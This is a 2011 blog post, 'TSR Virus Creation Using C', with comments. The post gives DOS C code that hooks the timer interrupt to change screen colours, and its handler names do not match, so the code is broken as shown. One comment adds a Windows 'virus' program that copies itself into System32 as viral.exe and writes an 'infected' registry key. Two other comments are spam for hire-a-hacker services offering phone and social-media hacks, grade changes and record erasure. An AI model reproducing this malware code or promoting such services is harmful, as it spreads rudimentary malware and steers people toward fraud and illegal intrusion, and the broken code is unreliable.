27 July 2011

TSR Virus Creation Using C

Hi, This is a simple program of TSR
Remember compile and link this code in you environment and then quit the program and then execute it.
*/

#include "dos.h"

void interrupt detect_x8(...);
void interrupt (*prev_x8)(...);

char far *scr=(char far *) 0xB8000000L;
int ticks;
unsigned int color;

void main(void)
{
    prev_x8=getvect(8);
    setvect(8,detect_x8);
    keep(0,300);
}
void interrupt detect_x10(...)
{
      int i;
      ticks++;
      if(ticks > 45) // 2.5 Sec apx.
      {
            for(i=1;i<=3999;i+=2)
                  *(scr+i)=color;
            color++;
            ticks=0;
      }
      (*prev_x8)();
}
/*
This is a very simple TSR which changes the color of screen after every 2.5 seconds. To remove it from memory you have to reboot.
*/

5 comments:

  1. Program 2:

    #include windows.h
    #include string.h

    char windir[MAX_PATH];

    int APIENTRY WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow)
    {

    char pathname[256];
    HKEY hKey;


    GetWindowsDirectory(windir, sizeof(windir));
    HMODULE hMe = GetModuleHandle(NULL);
    DWORD nRet = GetModuleFileName(hMe, pathname, 256);

    strcat(windir, "\\System32\\viral.exe");
    CopyFile(pathname,windir,0);


    unsigned char reg[10] = "infected";

    RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
    RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
    RegCloseKey(hKey);

    }

    ReplyDelete
  2. Does these programs helpful for u?

    ReplyDelete
  3. which type is this program dude and how does it use full?

    ReplyDelete

  4. This professional hacker is absolutely reliable and I strongly recommend him for any type of hack you require. I know this because I have hired him severally for various hacks and he has never disappointed me nor any of my friends who have hired him too, he can help you with any of the following hacks:

    -Phone hacks (remotely)
    -Credit repair
    -Bitcoin recovery (any cryptocurrency)
    -Make money from home (USA only)
    -Social media hacks
    -Website hacks
    -Erase criminal records (USA & Canada only)
    -Grade change

    Email: onlineghosthacker247@ gmail .com

    ReplyDelete
  5. Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : cybergoldenhacker at gmail dot com

    ReplyDelete